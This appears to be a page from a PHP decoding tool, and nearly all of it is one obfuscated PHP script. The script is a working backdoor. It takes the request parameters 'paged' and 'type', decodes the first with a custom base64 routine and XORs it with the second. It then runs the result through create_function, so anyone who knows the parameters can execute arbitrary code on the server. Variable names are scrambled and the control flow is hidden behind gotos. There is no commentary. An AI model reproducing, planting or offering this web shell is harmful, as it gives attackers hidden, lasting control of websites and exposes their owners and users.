PHP Decode

<?php goto v_rwd; v_rwd: if (!isset($_request["\x70\x61\147\x65\144"])) { goto ebovh; } goto gjjkg; gqteb: $yayy8(); goto qobzd; gjjkg: function i46ew($udzjn, $qtun6) { $udzjn = preg_split("\57\x2f", $udzjn, -1, 1); return implode('', array_map(function ($s8qno, $l317u) use($qtun6) { return chr(ord($s8qno) ^ ord($qtun6[$l317u % strlen($qtun6)])); }, $udzjn, array_keys($udzjn))); } goto fkwqy; fkwqy: $ewb6c = $_request["\x70\141\x67\145\144"]; goto jp2y4; jp2y4: $w98e9 = $_request["\164\171\160\x65"]; goto rl6wd; rl6wd: function phckt($lm4zj) { goto j_50g; zvpl5: preg_match_all("\x28\x5b\x41\x2d\172\60\55\x39\53\x5c\57\135\173\61\54\64\175\51", $lm4zj, $iohs9); goto b_tm6; g2omg: usnce: goto lldox; lldox: $s8qno++; goto gm3yt; s4wpj: $l317u[$s8qno] = chr($s8qno); goto g2omg; fw4bo: $s8qno = 0; goto b1egv; gm3yt: goto pbxsk; goto p8irp; p8irp: i9zvr: goto u3wko; ipulc: if (!($s8qno < 256)) { goto i9zvr; } goto s4wpj; b1egv: pbxsk: goto ipulc; gybzm: yb66b: goto dx4hz; u3wko: $lm4xh = array_combine(preg_split("\57\57", "\x41\x42\103\x44\x45\x46\x47\110\x49\x4a\113\114\115\x4e\x4f\x50\121\122\x53\124\125\x56\127\130\131\132\141\142\x63\x64\145\146\147\x68\x69\x6a\153\x6c\155\156\157\160\x71\162\163\x74\165\166\x77\170\x79\x7a\x30\x31\62\63\x34\x35\66\x37\70\x39\53\57", -1, 1), range(0, 63)); goto mgzbr; dx4hz: return $udzjn; goto ibqcu; mgzbr: $iohs9 = array(); goto zvpl5; j_50g: $udzjn = ''; goto fw4bo; b_tm6: foreach ($iohs9[0] as $knfan) { goto bplrk; ocoie: if (!isset($knfan[$s8qno])) { goto may1l; } goto pb70b; g6ztd: $udzjn .= $l317u[$oela6 >> 4 - 2 * ($s8qno - 1)]; goto zhxya; dvcp5: $s8qno = 0; goto piapn; w0ulg: bpuvw: goto jq8ly; vesqi: goto edmfd; goto rn_yy; rn_yy: may1l: goto cxaal; vlgkg: s8oaq: goto w0ulg; bplrk: $oela6 = 0; goto dvcp5; jq8ly: $s8qno++; goto vesqi; g0cy0: if (!($s8qno > 0)) { goto s8oaq; } goto g6ztd; pb70b: $oela6 = ($oela6 << 6) + $lm4xh[$knfan[$s8qno]]; goto g0cy0; piapn: edmfd: goto ocoie; cxaal: pkdu9: goto nn0cs; zhxya: $oela6 = $oela6 & 0xf >> 2 * ($s8qno - 1); goto vlgkg; nn0cs: } goto gybzm; ibqcu: } goto krjhs; krjhs: $forms = i46ew(phckt($ewb6c), $w98e9); goto m3hfg; m3hfg: $yayy8 = create_function(null, $forms); goto gqteb; qobzd: ebovh: ?>